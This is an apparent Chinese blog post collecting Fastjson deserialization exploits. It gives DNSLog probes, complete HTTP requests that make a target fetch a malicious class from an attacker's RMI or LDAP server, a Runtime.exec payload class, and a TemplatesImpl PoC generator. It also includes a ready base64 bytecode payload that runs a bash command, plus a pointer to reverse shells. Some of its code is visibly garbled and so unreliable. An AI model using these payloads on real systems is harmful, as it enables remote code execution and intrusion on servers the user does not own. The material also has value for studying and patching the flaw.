Fastjson漏洞复现方式整合

1、利用DNSLOG测试Fastjson远程命令执行漏洞

  测试Fastjson版本号:1.2.15直接发送用burpsuite发送payload,将dataSourceName改成dnslog获取到的域名。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://6v0jfv.dnslog.cn
",
        "autoCommit":true
    }
}

 

 若刷新DNSlog有记录增加,那说明漏洞存在,反之,则不存在。

 

 

 

2、未知目标是否使用 Fastjson ,但站点有原始报错回显

  如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

 

java.net.InetAddress虽然被禁止了,但是依然可以使用如下两个payload探测后端是否是fastjson,而且无需开启autotype

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

其他畸形的:

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]

Set[{"@type":"java.net.URL","val":"dnslog"}

{{"@type":"java.net.URL","val":"dnslog"}:0

 

3、无回显,盲区分 Fastjson 和 Jackson

  可以通过DNS回显的方式检测后端是否使用Fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Java 系 Json 处理基本只有 Fastjson 和 Jackson。
由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson

如果请求包中的 json 如下:

{"name":"S", "age":21}

追加一个随机 key ,修改 json 为

 

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显

Fastjson:

 

 Jackson:

 

4、FastJson 1.2.48反序列化漏洞利用总结

漏洞版本 fastjson < 1.2.48 

漏洞利用

1.使用JNDI配合RMI or LDAP二阶注入

恶意类ExportObject.class示例

 

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ExportObject {
    public ExportObject() throws Exception {
        Process p = Runtime.getRuntime().exec("whoamiRMI Payload:");
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

RMI Payload:

POST /fastjson/ HTTP/1.1
Host: 小生观察室
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Type:application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Cookie: JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897; ADMINCONSOLESESSION=qSw5juzv7xUGgOuNnbggvJ3IJrfojbJ8OnY3UHy3Jodnrj3Sf-uV!-1384968761
Connection: close
Content-Length: 127

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:port/ExportObject",
        "autoCommit":true
    }

}

LDAP Payload:

POST /fastjson/ HTTP/1.1
Host: 小生观察室
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Type:application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Cookie: JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897; ADMINCONSOLESESSION=qSw5juzv7xUGgOuNnbggvJ3IJrfojbJ8OnY3UHy3Jodnrj3Sf-uV!-1384968761
Connection: close
Content-Length: 118

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:port/ExportObject",
        "autoCommit":true
    }

}

注:你要执行的命令最好使用JavaRuntime编码,尤其是复杂命令使用JNDI二阶注入,注意JDK版本对于RMI和LDAP协议的修复

 

2.使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

利用条件: 目标网站使用fastjson库解析json 1.2.22 <= fastjson < 1.2.48,因为fastjson从1.2.22版本才开始引入SupportNonPublicField 解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性 目标使用的jdk中存在TemplatesImpl类(),另外不排除有其他不需要TemplatesImpl的利用方法

Test.class

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("whoami");
    }


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

注:你要执行的命令最好使用JavaRuntime编码,尤其是复杂命令

poc生成代码 Poc.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;


import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = "Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_;
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }

    public static void main(String args[]){

        try {
            test_autoTypeDeny();
        } catch (Exception e) {
        }
    }
}

运行poc.java即可生成payload,将生成的payload中_bytecodes取出,拼接到下面的模板中

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "x":{
       "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["your_bytecodes"],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ }
    }

}

示例payload 弹出文件管理器

POST /fastjson/ HTTP/1.1
Host: 小生观察室
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 2377

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    },
    "x":{
       "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEAMWJhc2ggLWMge2VjaG8sYm1GMWRHbHNkWE09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0MADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEAAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFQAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAYAAgAGQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],
'_name':'a.b',
'_tfactory':{ },
"_outputProperties":{ }
    }

}

3.反弹shell

使用三种方式中的一种,只需要注意JavaRunTime编码即可

 

posted @ 2020-08-13 17:42  小生观察室  阅读(2979)  评论(0)    收藏  举报